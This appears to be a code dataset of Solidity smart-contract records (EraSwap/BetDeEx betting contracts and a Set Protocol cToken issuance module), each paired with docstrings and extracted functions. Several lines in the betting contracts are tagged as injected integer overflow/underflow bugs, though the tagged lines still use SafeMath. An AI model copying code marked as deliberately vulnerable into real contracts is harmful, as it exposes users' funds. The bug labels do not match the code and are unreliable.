* @param amount Amount to be updated
*/
function UpdateBurnBal(uint256 amount) OnlyTimeAlly external returns(bool){
require(allowance(msg.sender, address(this)) >= amount);
require(transferFrom(msg.sender,address(this), amount));
burnTokenBal = burnTokenBal.add(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
emit BurnTokenBalUpdated(burnTokenBal);
return true;
}
/**
* @dev Function to trigger balance update of a list of users
* @param TokenTransferList - List of user addresses
* @param TokenTransferBalance - Amount of token to be sent
*/
function UpdateBalance(address[100] calldata TokenTransferList, uint256[100] calldata TokenTransferBalance) OnlyTimeAlly external returns(bool){
for (uint256 i = 0; i < TokenTransferList.length; i++) {
require(allowance(msg.sender, address(this)) >= TokenTransferBalance[i]);
require(transferFrom(msg.sender, TokenTransferList[i], TokenTransferBalance[i]));
}
return true;
}
}
/// @title BetDeEx Smart Contract - The Decentralized Prediction Platform of Era Swap Ecosystem
/// @author The EraSwap Team
/// @notice This contract is used by manager to deploy new Bet contracts
/// @dev This contract also acts as treasurer
contract BetDeEx {
using SafeMath for uint256;
address[] public bets; /// @dev Stores addresses of bets
address public superManager; /// @dev Required to be public because ES needs to be sent transaparently.
EraswapToken esTokenContract;
mapping(address => uint256) public betBalanceInExaEs; /// @dev All ES tokens are transfered to main BetDeEx address for common allowance in ERC20 so this mapping stores total ES tokens betted in each bet.
mapping(address => bool) public isBetValid; /// @dev Stores authentic bet contracts (only deployed through this contract)
mapping(address => bool) public isManager; /// @dev Stores addresses who are given manager privileges by superManager
event NewBetContract (
address indexed _deployer,
address _contractAddress,
uint8 indexed _category,
uint8 indexed _subCategory,
string _description
);
event NewBetting (
address indexed _betAddress,
address indexed _bettorAddress,
uint8 indexed _choice,
uint256 _betTokensInExaEs
);
event EndBetContract (
address indexed _ender,
address indexed _contractAddress,
uint8 _result,
uint256 _prizePool,
uint256 _platformFee
);
/// @dev This event is for indexing ES withdrawl transactions to winner bettors from this contract
event TransferES (
address indexed _betContract,
address indexed _to,
uint256 _tokensInExaEs
);
modifier onlySuperManager() {
require(msg.sender == superManager, "only superManager can call");
_;
}
modifier onlyManager() {
require(isManager[msg.sender], "only manager can call");
_;
}
modifier onlyBetContract() {
require(isBetValid[msg.sender], "only bet contract can call");
_;
}
/// @notice Sets up BetDeEx smart contract when deployed
/// @param _esTokenContractAddress is EraSwap contract address
constructor(address _esTokenContractAddress) public {
superManager = msg.sender;
isManager[msg.sender] = true;
esTokenContract = EraswapToken(_esTokenContractAddress);
}
/// @notice This function is used to deploy a new bet
/// @param _description is the question of Bet in plain English, bettors have to understand the bet description and later choose to bet on yes no or draw according to their preference
/// @param _category is the broad category for example Sports. Purpose of this is only to filter bets and show in UI, hence the name of the category is not stored in smart contract and category is repressented by a number (0, 1, 2, 3...)
/// @param _subCategory is a specific category for example Football. Each category will have sub categories represented by a number (0, 1, 2, 3...)
/// @param _minimumBetInExaEs is the least amount of ExaES that can be betted, any bet participant (bettor) will have to bet this amount or higher. Betting higher amount gives more share of winning amount
/// @param _prizePercentPerThousand is a form of representation of platform fee. It is a number less than or equal to 1000. For eg 2% is to be collected as platform fee then this value would be 980. If 0.2% then 998.
/// @param _isDrawPossible is functionality for allowing a draw option
/// @param _pauseTimestamp Bet will be open for betting until this timestamp, after this timestamp, any user will not be able to place bet. and manager can only end bet after this time
/// @return address of newly deployed bet contract. This is for UI of Admin panel.
function createBet(
string memory _description,
uint8 _category,
uint8 _subCategory,
uint256 _minimumBetInExaEs,
uint256 _prizePercentPerThousand,
bool _isDrawPossible,
uint256 _pauseTimestamp
) public onlyManager returns (address) {
Bet _newBet = new Bet(
_description,
_category,
_subCategory,
_minimumBetInExaEs,
_prizePercentPerThousand,
_isDrawPossible,
_pauseTimestamp
);
bets.push(address(_newBet));
isBetValid[address(_newBet)] = true;
emit NewBetContract(
msg.sender,
address(_newBet),
_category,
_subCategory,
_description
);
return address(_newBet);
}
/// @notice this function is used for getting total number of bets
/// @return number of Bet contracts deployed by BetDeEx
function getNumberOfBets() public view returns (uint256) {
return bets.length;
}
/// @notice this is for giving access to multiple accounts to manage BetDeEx
/// @param _manager is address of new manager
function addManager(address _manager) public onlySuperManager {
isManager[_manager] = true;
}
/// @notice this is for revoking access of a manager to manage BetDeEx
/// @param _manager is address of manager who is to be converted into a former manager
function removeManager(address _manager) public onlySuperManager {
isManager[_manager] = false;
}
/// @notice this is an internal functionality that is only for bet contracts to emit a event when a new bet is placed so that front end can get the information by subscribing to contract
function emitNewBettingEvent(address _bettorAddress, uint8 _choice, uint256 _betTokensInExaEs) public onlyBetContract {
emit NewBetting(msg.sender, _bettorAddress, _choice, _betTokensInExaEs);
}
/// @notice this is an internal functionality that is only for bet contracts to emit event when a bet is ended so that front end can get the information by subscribing to contract
function emitEndEvent(address _ender, uint8 _result, uint256 _gasFee) public onlyBetContract {
emit EndBetContract(_ender, msg.sender, _result, betBalanceInExaEs[msg.sender], _gasFee);
}
/// @notice this is an internal functionality that is used to transfer tokens from bettor wallet to BetDeEx contract
function collectBettorTokens(address _from, uint256 _betTokensInExaEs) public onlyBetContract returns (bool) {
require(esTokenContract.transferFrom(_from, address(this), _betTokensInExaEs), "tokens should be collected from user");
betBalanceInExaEs[msg.sender] = betBalanceInExaEs[msg.sender].add(_betTokensInExaEs); //injected INTEGER OVERFLOW OR UNDERFLOW
return true;
}
/// @notice this is an internal functionality that is used to transfer prizes to winners
function sendTokensToAddress(address _to, uint256 _tokensInExaEs) public onlyBetContract returns (bool) {
betBalanceInExaEs[msg.sender] = betBalanceInExaEs[msg.sender].sub(_tokensInExaEs); //injected INTEGER OVERFLOW OR UNDERFLOW
require(esTokenContract.transfer(_to, _tokensInExaEs), "tokens should be sent");
emit TransferES(msg.sender, _to, _tokensInExaEs);
return true;
}
/// @notice this is an internal functionality that is used to collect platform fee
function collectPlatformFee(uint256 _platformFee) public onlyBetContract returns (bool) {
require(esTokenContract.transfer(superManager, _platformFee), "platform fee should be collected");
return true;
}
}
/// @title Bet Smart Contract
/// @author The EraSwap Team
/// @notice This contract is governs bettors and is deployed by BetDeEx Smart Contract
contract Bet {
using SafeMath for uint256;
BetDeEx betDeEx;
string public description; /// @dev question text of the bet
bool public isDrawPossible; /// @dev if false then user cannot bet on draw choice
uint8 public category; /// @dev sports, movies
uint8 public subCategory; /// @dev cricket, football
uint8 public finalResult; /// @dev given a value when manager ends bet
address public endedBy; /// @dev address of manager who enters the correct choice while ending the bet
uint256 public creationTimestamp; /// @dev set during bet creation
uint256 public pauseTimestamp; /// @dev set as an argument by deployer
uint256 public endTimestamp; /// @dev set when a manager ends bet and prizes are distributed
uint256 public minimumBetInExaEs; /// @dev minimum amount required to enter bet
uint256 public prizePercentPerThousand; /// @dev percentage of bet balance which will be dristributed to winners and rest is platform fee
uint256[3] public totalBetTokensInExaEsByChoice = [0, 0, 0]; /// @dev array of total bet value of no, yes, draw voters
uint256[3] public getNumberOfChoiceBettors = [0, 0, 0]; /// @dev stores number of bettors in a choice
uint256 public totalPrize; /// @dev this is the prize (platform fee is already excluded)
mapping(address => uint256[3]) public bettorBetAmountInExaEsByChoice; /// @dev mapps addresses to array of betAmount by choice
mapping(address => bool) public bettorHasClaimed; /// @dev set to true when bettor claims the prize
modifier onlyManager() {
require(betDeEx.isManager(msg.sender), "only manager can call");
_;
}
/// @notice this sets up Bet contract
/// @param _description is the question of Bet in plain English, bettors have to understand the bet description and later choose to bet on yes no or draw according to their preference
/// @param _category is the broad category for example Sports. Purpose of this is only to filter bets and show in UI, hence the name of the category is not stored in smart contract and category is repressented by a number (0, 1, 2, 3...)
/// @param _subCategory is a specific category for example Football. Each category will have sub categories represented by a number (0, 1, 2, 3...)
/// @param _minimumBetInExaEs is the least amount of ExaES that can be betted, any bet participant (bettor) will have to bet this amount or higher. Betting higher amount gives more share of winning amount
/// @param _prizePercentPerThousand is a form of representation of platform fee. It is a number less than or equal to 1000. For eg 2% is to be collected as platform fee then this value would be 980. If 0.2% then 998.
/// @param _isDrawPossible is functionality for allowing a draw option
/// @param _pauseTimestamp Bet will be open for betting until this timestamp, after this timestamp, any user will not be able to place bet. and manager can only end bet after this time
constructor(string memory _description, uint8 _category, uint8 _subCategory, uint256 _minimumBetInExaEs, uint256 _prizePercentPerThousand, bool _isDrawPossible, uint256 _pauseTimestamp) public {
description = _description;
isDrawPossible = _isDrawPossible;
category = _category;
subCategory = _subCategory;
minimumBetInExaEs = _minimumBetInExaEs;
prizePercentPerThousand = _prizePercentPerThousand;
betDeEx = BetDeEx(msg.sender);
creationTimestamp = now;
pauseTimestamp = _pauseTimestamp;
}
/// @notice this function gives amount of ExaEs that is total betted on this bet
function betBalanceInExaEs() public view returns (uint256) {
return betDeEx.betBalanceInExaEs(address(this));
}
/// @notice this function is used to place a bet on available choice
/// @param _choice should be 0, 1, 2; no => 0, yes => 1, draw => 2
/// @param _betTokensInExaEs is amount of bet
function enterBet(uint8 _choice, uint256 _betTokensInExaEs) public {
require(now < pauseTimestamp, "cannot enter after pause time");
require(_betTokensInExaEs >= minimumBetInExaEs, "betting tokens should be more than minimum");
/// @dev betDeEx contract transfers the tokens to it self
require(betDeEx.collectBettorTokens(msg.sender, _betTokensInExaEs), "betting tokens should be collected");
// @dev _choice can be 0 or 1 and it can be 2 only if isDrawPossible is true
if (_choice > 2 || (_choice == 2 && !isDrawPossible) ) {
require(false, "this choice is not available");
}
getNumberOfChoiceBettors[_choice] = getNumberOfChoiceBettors[_choice].add(1);
totalBetTokensInExaEsByChoice[_choice] = totalBetTokensInExaEsByChoice[_choice].add(_betTokensInExaEs); //injected INTEGER OVERFLOW OR UNDERFLOW
bettorBetAmountInExaEsByChoice[msg.sender][_choice] = bettorBetAmountInExaEsByChoice[msg.sender][_choice].add(_betTokensInExaEs); //injected INTEGER OVERFLOW OR UNDERFLOW
betDeEx.emitNewBettingEvent(msg.sender, _choice, _betTokensInExaEs);
}
/// @notice this function is used by manager to load correct answer
/// @param _choice is the correct choice
function endBet(uint8 _choice) public onlyManager {
require(now >= pauseTimestamp, "cannot end bet before pause time");
require(endedBy == address(0), "Bet Already Ended");
// @dev _choice can be 0 or 1 and it can be 2 only if isDrawPossible is true
if(_choice < 2 || (_choice == 2 && isDrawPossible)) {
finalResult = _choice;
} else {
require(false, "this choice is not available");
}
endedBy = msg.sender;
endTimestamp = now;
/// @dev the platform fee is excluded from entire bet balance and this is the amount to be distributed
totalPrize = betBalanceInExaEs().mul(prizePercentPerThousand).div(1000);
/// @dev this is the left platform fee according to the totalPrize variable above
uint256 _platformFee = betBalanceInExaEs().sub(totalPrize);
/// @dev sending plaftrom fee to the super manager
require(betDeEx.collectPlatformFee(_platformFee), "platform fee should be collected");
betDeEx.emitEndEvent(endedBy, _choice, _platformFee);
}
/// @notice this function can be called by anyone to see how much winners are getting
/// @param _bettorAddress is address whose prize we want to see
/// @return winner prize of input address
function seeWinnerPrize(address _bettorAddress) public view returns (uint256) {
require(endTimestamp > 0, "cannot see prize before bet ends");
return bettorBetAmountInExaEsByChoice[_bettorAddress][finalResult].mul(totalPrize).div(totalBetTokensInExaEsByChoice[finalResult]);
}
/// @notice this function will be called after bet ends and winner bettors can withdraw their prize share
function withdrawPrize() public {
require(endTimestamp > 0, "cannot withdraw before end time");
require(!bettorHasClaimed[msg.sender], "cannot claim again");
require(bettorBetAmountInExaEsByChoice[msg.sender][finalResult] > minimumBetInExaEs, "caller should have a betting"); /// @dev to keep out option 0
uint256 _winningAmount = bettorBetAmountInExaEsByChoice[msg.sender][finalResult].mul(totalPrize).div(totalBetTokensInExaEsByChoice[finalResult]);
bettorHasClaimed[msg.sender] = true;
betDeEx.sendTokensToAddress(
msg.sender,
_winningAmount
);
}
}
|
this is for revoking access of a manager to manage BetDeEx _manager is address of manager who is to be converted into a former manager
|
function removeManager(address _manager) public onlySuperManager {
isManager[_manager] = false;
}
| 13,072,600 |
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.7;
import { ReentrancyGuard } from "openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol";
import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol";
import { CommonMath } from "set-protocol-contract-utils/contracts/lib/CommonMath.sol";
import { CompoundUtils } from "set-protocol-contract-utils/contracts/lib/CompoundUtils.sol";
import { CTokenWhiteListed } from "./lib/CTokenWhiteListed.sol";
import { ICToken } from "../interfaces/ICToken.sol";
import { IRebalancingSetToken } from "../interfaces/IRebalancingSetToken.sol";
import { ISetToken } from "../interfaces/ISetToken.sol";
import { IWETH } from "../../lib/IWETH.sol";
import { IAddressToAddressWhiteList } from "../interfaces/IAddressToAddressWhiteList.sol";
import { ERC20Wrapper } from "../../lib/ERC20Wrapper.sol";
import { RebalancingSetIssuanceModule } from "./RebalancingSetIssuanceModule.sol";
/**
* @title RebalancingSetCTokenIssuanceModule
* @author Set Protocol
*
* A module that includes functions for issuing / redeeming rebalancing SetToken from its base components, cToken
* underlying components, and Ether. Note: This module is not compatible with Compound Ether (cETH).
*/
contract RebalancingSetCTokenIssuanceModule is
RebalancingSetIssuanceModule,
CTokenWhiteListed
{
using SafeMath for uint256;
/* ============ Constructor ============ */
/**
* Constructor function for RebalancingSetCTokenIssuanceModule
*
* @param _core The address of Core
* @param _vault The address of Vault
* @param _transferProxy The address of TransferProxy
* @param _weth Instance of Wrapped Ether
* @param _cTokenWhiteList Instance of whitelisted cTokens to underlying addresses
*/
constructor(
address _core,
address _vault,
address _transferProxy,
IWETH _weth,
IAddressToAddressWhiteList _cTokenWhiteList
)
public
RebalancingSetIssuanceModule(
_core,
_vault,
_transferProxy,
_weth
)
CTokenWhiteListed(
_transferProxy,
_cTokenWhiteList
)
{}
/* ============ External Functions ============ */
/**
* Issue a rebalancing SetToken using the base components of the base SetToken. If the base component is a supported
* cToken, retrieve the underlying from the user and mint the cToken. The base SetToken is then issued
* into the rebalancing SetToken. The base SetToken quantity issued is calculated by taking the rebalancing SetToken's quantity,
* unit shares, and natural unit. If the calculated quantity is not a multiple of the natural unit of the base SetToken,
* the quantity is rounded up to the base SetToken natural unit.
* NOTE: Potential to receive more baseSet than expected if someone transfers some to this module.
* Be careful with balance checks.
*
* @param _rebalancingSetAddress Address of the rebalancing SetToken to issue
* @param _rebalancingSetQuantity The issuance quantity of rebalancing SetToken
* @param _keepChangeInVault Boolean signifying whether excess base SetToken is transferred to the user
* or left in the vault
*/
function issueRebalancingSet(
address _rebalancingSetAddress,
uint256 _rebalancingSetQuantity,
bool _keepChangeInVault
)
external
nonReentrant
{
// Get baseSet address and quantity required for issuance of Rebalancing Set
(
address baseSetAddress,
uint256 requiredBaseSetQuantity
) = getBaseSetAddressAndQuantity(_rebalancingSetAddress, _rebalancingSetQuantity);
// Deposit components, mint cTokens, issue base and rebalancing Set tokens and return excess base to sender
// Set false because function is not wrapping Ether
issueRebalancingSetInternal(
_rebalancingSetAddress,
_rebalancingSetQuantity,
baseSetAddress,
requiredBaseSetQuantity,
_keepChangeInVault,
false
);
}
/**
* Issue a rebalancing SetToken using the base components and ether of the base SetToken. If the base component
* is a supported cToken, retrieve the underlying from the user and mint the cToken. The ether is wrapped
* into wrapped Ether and utilized in issuance.
* The base SetToken is then issued and reissued into the rebalancing SetToken. Read more about base SetToken quantity
* in the issueRebalancingSet function.
* NOTE: Potential to receive more baseSet and ether dust than expected if someone transfers some to this module.
* Be careful with balance checks.
*
* @param _rebalancingSetAddress Address of the rebalancing SetToken to issue
* @param _rebalancingSetQuantity The issuance quantity of rebalancing SetToken
* @param _keepChangeInVault Boolean signifying whether excess base SetToken is transferred to the user
* or left in the vault
*/
function issueRebalancingSetWrappingEther(
address _rebalancingSetAddress,
uint256 _rebalancingSetQuantity,
bool _keepChangeInVault
)
external
payable
nonReentrant
{
// Get baseSet address and quantity required for issuance of Rebalancing Set
(
address baseSetAddress,
uint256 requiredBaseSetQuantity
) = getBaseSetAddressAndQuantity(_rebalancingSetAddress, _rebalancingSetQuantity);
// Validate that WETH is a component of baseSet
validateWETHIsAComponentOfSet(baseSetAddress, address(weth));
// Deposit components, mint cTokens, issue base and rebalancing Set tokens and return excess base to sender
// Set true because function is wrapping Ether
issueRebalancingSetInternal(
_rebalancingSetAddress,
_rebalancingSetQuantity,
baseSetAddress,
requiredBaseSetQuantity,
_keepChangeInVault,
true
);
// Any eth that is not wrapped is sent back to the user
// Only the amount required for the base SetToken issuance is wrapped.
uint256 leftoverEth = address(this).balance;
if (leftoverEth > 0) {
msg.sender.transfer(leftoverEth);
}
}
/**
* Redeems a rebalancing SetToken into the base components of the base SetToken. If a supported cToken, then base components
* are redeemed for the underlying and sent back to user.
* NOTE: Potential to receive more baseSet than expected if someone transfers some to this module.
* Be careful with balance checks.
*
* @param _rebalancingSetAddress Address of the rebalancing SetToken to redeem
* @param _rebalancingSetQuantity The Quantity of the rebalancing SetToken to redeem
* @param _keepChangeInVault Boolean signifying whether excess base SetToken is transferred to the user
* or left in the vault
*/
function redeemRebalancingSet(
address _rebalancingSetAddress,
uint256 _rebalancingSetQuantity,
bool _keepChangeInVault
)
external
nonReentrant
{
// Get base Set address
address baseSetAddress = IRebalancingSetToken(_rebalancingSetAddress).currentSet();
// Redeem into base Set, redeem into components, redeem cTokens into underlying, and transfer tokens and excess to sender
// Set false because we are not unwrapping Ether
redeemRebalancingSetInternal(
_rebalancingSetAddress,
_rebalancingSetQuantity,
baseSetAddress,
_keepChangeInVault,
false
);
}
/**
* Redeems a rebalancing SetToken into the base components of the base SetToken. If a supported cToken, then base components
* are redeemed for the underlying and sent back to user. Unwraps wrapped ether and sends eth to the user.
* If no wrapped ether in Set then will REVERT.
* NOTE: Potential to receive more baseSet and ether dust than expected if someone transfers some to this module.
* Be careful with balance checks.
*
* @param _rebalancingSetAddress Address of the rebalancing SetToken to redeem
* @param _rebalancingSetQuantity The Quantity of the rebalancing SetToken to redeem
* @param _keepChangeInVault Boolean signifying whether excess base SetToken is transferred to the user
* or left in the vault
*/
function redeemRebalancingSetUnwrappingEther(
address _rebalancingSetAddress,
uint256 _rebalancingSetQuantity,
bool _keepChangeInVault
)
external
nonReentrant
{
// Get base Set address
address baseSetAddress = IRebalancingSetToken(_rebalancingSetAddress).currentSet();
// Validate that WETH is a component of baseSet
validateWETHIsAComponentOfSet(baseSetAddress, address(weth));
// Redeem into base Set, redeem into components, redeem cTokens into underlying, and transfer tokens and excess to sender
// Set true because we are unwrapping Ether
redeemRebalancingSetInternal(
_rebalancingSetAddress,
_rebalancingSetQuantity,
baseSetAddress,
_keepChangeInVault,
true
);
}
/* ============ Private Functions ============ */
/**
* Issue a rebalancing SetToken using the base components of the base SetToken. If the base component
* is a supported cToken, retrieve the underlying from the user and mint the cToken. If wrapEth is true, ether is wrapped
* into wrapped Ether and utilized in issuance. The base SetToken is then issued
* into the rebalancing SetToken. The base SetToken quantity issued is calculated by taking the rebalancing SetToken's quantity,
* unit shares, and natural unit. If the calculated quantity is not a multiple of the natural unit of the base SetToken,
* the quantity is rounded up to the base SetToken natural unit.
*
* @param _rebalancingSetAddress Address of the rebalancing Set to issue
* @param _rebalancingSetQuantity Quantity of the rebalancing Set
* @param _baseSetAddress Address of the base Set to issue
* @param _requiredBaseSetQuantity Quantity of the base Set
* @param _keepChangeInVault Boolean signifying whether excess base SetToken is transferred to the user
* or left in the vault
* @param _wrapEth Boolean indicating whether to wrap Eth
*/
function issueRebalancingSetInternal(
address _rebalancingSetAddress,
uint256 _rebalancingSetQuantity,
address _baseSetAddress,
uint256 _requiredBaseSetQuantity,
bool _keepChangeInVault,
bool _wrapEth
)
private
{
// Deposit components and mint cTokens. Set true because we are wrapping Ether
// If wrapEth is true, the required ether is wrapped and approved to the transferProxy
depositComponentsHandleCTokensAndEth(
_baseSetAddress,
_requiredBaseSetQuantity,
_wrapEth
);
// Issue base SetToken to this contract, with the base SetToken held in the Vault
coreInstance.issueInVault(
_baseSetAddress,
_requiredBaseSetQuantity
);
// Note: Don't need to set allowance of the base SetToken as the base SetToken is already in the vault
// Issue rebalancing SetToken to the sender and return any excess base to sender
issueRebalancingSetAndReturnExcessBase(
_rebalancingSetAddress,
_baseSetAddress,
_rebalancingSetQuantity,
_keepChangeInVault
);
}
/**
* Redeems a rebalancing SetToken into the base components of the base SetToken. If a supported cToken, then base components
* are redeemed for the underlying and sent back to user. If wrapEth is true, unwraps wrapped ether and sends eth to the user.
*
* @param _rebalancingSetAddress Address of the rebalancing Set to redeem
* @param _rebalancingSetQuantity Quantity of the rebalancing Set
* @param _baseSetAddress Address of the base Set to redeem
* @param _keepChangeInVault Boolean signifying whether excess base SetToken is transferred to the user
* or left in the vault
* @param _unwrapEth Boolean indicating whether to unwrap Eth
*/
function redeemRebalancingSetInternal(
address _rebalancingSetAddress,
uint256 _rebalancingSetQuantity,
address _baseSetAddress,
bool _keepChangeInVault,
bool _unwrapEth
)
private
{
// Validate the rebalancing SetToken is valid and the quantity is a multiple of the natural unit
validateRebalancingSetIssuance(_rebalancingSetAddress, _rebalancingSetQuantity);
// Redeem RB Set to the vault attributed to this contract
coreInstance.redeemModule(
msg.sender,
address(this),
_rebalancingSetAddress,
_rebalancingSetQuantity
);
// Calculate the base SetToken Redeem quantity
uint256 baseSetRedeemQuantity = getBaseSetRedeemQuantity(_baseSetAddress);
// Redeem the base SetToken and keep components in the vault
coreInstance.redeemInVault(
_baseSetAddress,
baseSetRedeemQuantity
);
// Withdraw components and redeem cTokens. Transfer tokens to sender.
// If unwrapEth is true, the required ether is unwrapped
withdrawComponentsHandleCTokensAndEth(_baseSetAddress, _unwrapEth);
// Transfer any change of the base SetToken to the end user
returnExcessBaseSet(_baseSetAddress, transferProxy, _keepChangeInVault);
// Log RebalancingSetRedeem
emit LogRebalancingSetRedeem(
_rebalancingSetAddress,
msg.sender,
_rebalancingSetQuantity
);
}
/**
* During issuance, deposit the required quantity of base SetToken, handle cToken minting, wrap Ether, and deposit components
* (excluding Ether, which is deposited during issuance) to the Vault in the name of the module.
*
* @param _baseSetAddress Address of the base SetToken token
* @param _baseSetQuantity The Quantity of the base SetToken token to issue
* @param _wrapEth Boolean indicating whether to wrap Eth
*/
function depositComponentsHandleCTokensAndEth(
address _baseSetAddress,
uint256 _baseSetQuantity,
bool _wrapEth
)
private
{
ISetToken baseSet = ISetToken(_baseSetAddress);
address[] memory baseSetComponents = baseSet.getComponents();
uint256[] memory baseSetUnits = baseSet.getUnits();
uint256 baseSetNaturalUnit = baseSet.naturalUnit();
// Calculate the number of natural units required and round down to nearest natural unit
uint256 quantityOfNaturalUnits = _baseSetQuantity.div(baseSetNaturalUnit);
// Loop through the base SetToken components and deposit components
for (uint256 i = 0; i < baseSetComponents.length; i++) {
address currentComponentAddress = baseSetComponents[i];
uint256 currentUnit = baseSetUnits[i];
// Calculate required component quantity
uint256 currentComponentQuantity = quantityOfNaturalUnits.mul(currentUnit);
// If cToken, calculate required underlying tokens and transfer to module
address underlyingAddress = cTokenWhiteList.whitelist(currentComponentAddress);
if (underlyingAddress != address(0)) {
// Deposit underlying components and mint cToken
depositAndMintCToken(
ICToken(currentComponentAddress),
currentComponentQuantity,
underlyingAddress
);
} else if (_wrapEth && currentComponentAddress == address(weth)) {
// If address is weth, deposit weth and transfer eth
// Expect the ether included exceeds the required Weth quantity
require(
msg.value >= currentComponentQuantity,
"RebalancingSetCTokenIssuanceModule.depositComponentsHandleCTokensAndEth: Not enough ether included for base SetToken"
);
// Wrap the required ether quantity
// NOTE: Weth is wrapped but does not get deposited to vault. When issuing, WETH is pulled from contract to vault
weth.deposit.value(currentComponentQuantity)();
// Ensure weth allowance
ERC20Wrapper.ensureAllowance(
address(weth),
address(this),
transferProxy,
currentComponentQuantity
);
} else {
// Deposit components to the vault in the name of the contract
coreInstance.depositModule(
msg.sender,
address(this),
currentComponentAddress,
currentComponentQuantity
);
}
}
}
/**
* This function deposits the underlying components into the module and mints cToken
*
* @param _cToken Instance of the cToken to mint
* @param _cTokenQuantity Quantity of the cToken required
* @param _underlyingAddress Address of the underlying component
*/
function depositAndMintCToken(
ICToken _cToken,
uint256 _cTokenQuantity,
address _underlyingAddress
)
private
{
// Calculate required amount of underlying. Calculated as cToken quantity * exchangeRate / 10 ** 18.
uint256 exchangeRate = _cToken.exchangeRateCurrent();
uint256 underlyingQuantity = CompoundUtils.convertCTokenToUnderlying(_cTokenQuantity, exchangeRate);
// Transfer components to this module
coreInstance.transferModule(
_underlyingAddress,
underlyingQuantity,
msg.sender,
address(this)
);
// Ensure allowance for underlying token to cToken contract. This is for cases if we add a new cToken to the whitelist
ERC20Wrapper.ensureAllowance(
_underlyingAddress,
address(this),
address(_cToken),
underlyingQuantity
);
// Mint cToken using underlying
uint256 mintResponse = _cToken.mint(underlyingQuantity);
require(
mintResponse == 0,
"CTokenExchangeIssuanceModule.exchangeIssue: Error minting cToken"
);
// Get balance of cTokens minted in the contract
uint256 cTokenQuantity = ERC20Wrapper.balanceOf(
address(_cToken),
address(this)
);
// Ensure allowance for cToken to transferProxy. This is for cases if we add a new cToken to the whitelist
ERC20Wrapper.ensureAllowance(
address(_cToken),
address(this),
transferProxy,
cTokenQuantity
);
// Deposit transformed cTokens to vault (owned by this contract)
coreInstance.depositModule(
address(this),
address(this),
address(_cToken),
cTokenQuantity
);
}
/**
* During redemption, withdraw the required quantity of base SetToken, and withdraw
* components to the sender. If _unwrapEth is true, then unwrap weth into Ether
*
* @param _baseSetAddress Address of the base SetToken
* @param _unwrapEth Boolean indicating whether to withdraw to Eth
*/
function withdrawComponentsHandleCTokensAndEth(
address _baseSetAddress,
bool _unwrapEth
)
private
{
address[] memory baseSetComponents = ISetToken(_baseSetAddress).getComponents();
// Loop through the base SetToken components.
for (uint256 i = 0; i < baseSetComponents.length; i++) {
address currentComponentAddress = baseSetComponents[i];
uint256 currentComponentQuantity = vaultInstance.getOwnerBalance(
currentComponentAddress,
address(this)
);
// If cToken, calculate required underlying tokens and transfer to module
address underlyingAddress = cTokenWhiteList.whitelist(currentComponentAddress);
if (underlyingAddress != address(0)) {
// Redeem underlying components send to user
redeemCTokenAndWithdraw(
ICToken(currentComponentAddress),
currentComponentQuantity,
underlyingAddress
);
}
else if (_unwrapEth && currentComponentAddress == address(weth)) {
// If address is weth, withdraw weth and transfer eth to sender
// Transfer the wrapped ether to this address from the Vault
coreInstance.withdrawModule(
address(this),
address(this),
address(weth),
currentComponentQuantity
);
// Unwrap wrapped ether
weth.withdraw(currentComponentQuantity);
// Transfer to recipient
msg.sender.transfer(currentComponentQuantity);
} else {
// Withdraw component from the Vault and send to the user
coreInstance.withdrawModule(
address(this),
msg.sender,
currentComponentAddress,
currentComponentQuantity
);
}
}
}
/**
* This function redeems the cToken in the module and withdraws the underlying component to the user
*
* @param _cToken Instance of the cToken to redeem
* @param _cTokenQuantity Quantity of the cToken to redeem
* @param _underlyingAddress Address of the underlying component
*/
function redeemCTokenAndWithdraw(
ICToken _cToken,
uint256 _cTokenQuantity,
address _underlyingAddress
)
private
{
// Calculate required amount of underlying. Calculated as cToken quantity * exchangeRate / 10 ** 18.
uint256 exchangeRate = _cToken.exchangeRateCurrent();
uint256 underlyingQuantity = CompoundUtils.convertCTokenToUnderlying(_cTokenQuantity, exchangeRate);
// Transfer the cToken to this address from the Vault
coreInstance.withdrawModule(
address(this),
address(this),
address(_cToken),
_cTokenQuantity
);
// Redeem cToken to underlying
uint256 redeemResponse = _cToken.redeem(_cTokenQuantity);
require(
redeemResponse == 0,
"CTokenExchangeIssuanceModule.exchangeRedeem: Error redeeming cToken"
);
// Get balance of underlying after cToken redemption and override
underlyingQuantity = ERC20Wrapper.balanceOf(
_underlyingAddress,
address(this)
);
// Transfer underlying component from the module to the user
coreInstance.transferModule(
_underlyingAddress,
underlyingQuantity,
address(this),
msg.sender
);
}
}
|
During issuance, deposit the required quantity of base SetToken, handle cToken minting, wrap Ether, and deposit components (excluding Ether, which is deposited during issuance) to the Vault in the name of the module. _baseSetAddress Address of the base SetToken token _baseSetQuantity The Quantity of the base SetToken token to issue _wrapEth Boolean indicating whether to wrap Eth/ Calculate the number of natural units required and round down to nearest natural unit Loop through the base SetToken components and deposit components Calculate required component quantity If cToken, calculate required underlying tokens and transfer to module Deposit underlying components and mint cToken If address is weth, deposit weth and transfer eth Expect the ether included exceeds the required Weth quantity Wrap the required ether quantity NOTE: Weth is wrapped but does not get deposited to vault. When issuing, WETH is pulled from contract to vault Ensure weth allowance Deposit components to the vault in the name of the contract
|
function depositComponentsHandleCTokensAndEth(
address _baseSetAddress,
uint256 _baseSetQuantity,
bool _wrapEth
)
private
{
ISetToken baseSet = ISetToken(_baseSetAddress);
address[] memory baseSetComponents = baseSet.getComponents();
uint256[] memory baseSetUnits = baseSet.getUnits();
uint256 baseSetNaturalUnit = baseSet.naturalUnit();
uint256 quantityOfNaturalUnits = _baseSetQuantity.div(baseSetNaturalUnit);
for (uint256 i = 0; i < baseSetComponents.length; i++) {
address currentComponentAddress = baseSetComponents[i];
uint256 currentUnit = baseSetUnits[i];
uint256 currentComponentQuantity = quantityOfNaturalUnits.mul(currentUnit);
address underlyingAddress = cTokenWhiteList.whitelist(currentComponentAddress);
if (underlyingAddress != address(0)) {
depositAndMintCToken(
ICToken(currentComponentAddress),
currentComponentQuantity,
underlyingAddress
);
require(
msg.value >= currentComponentQuantity,
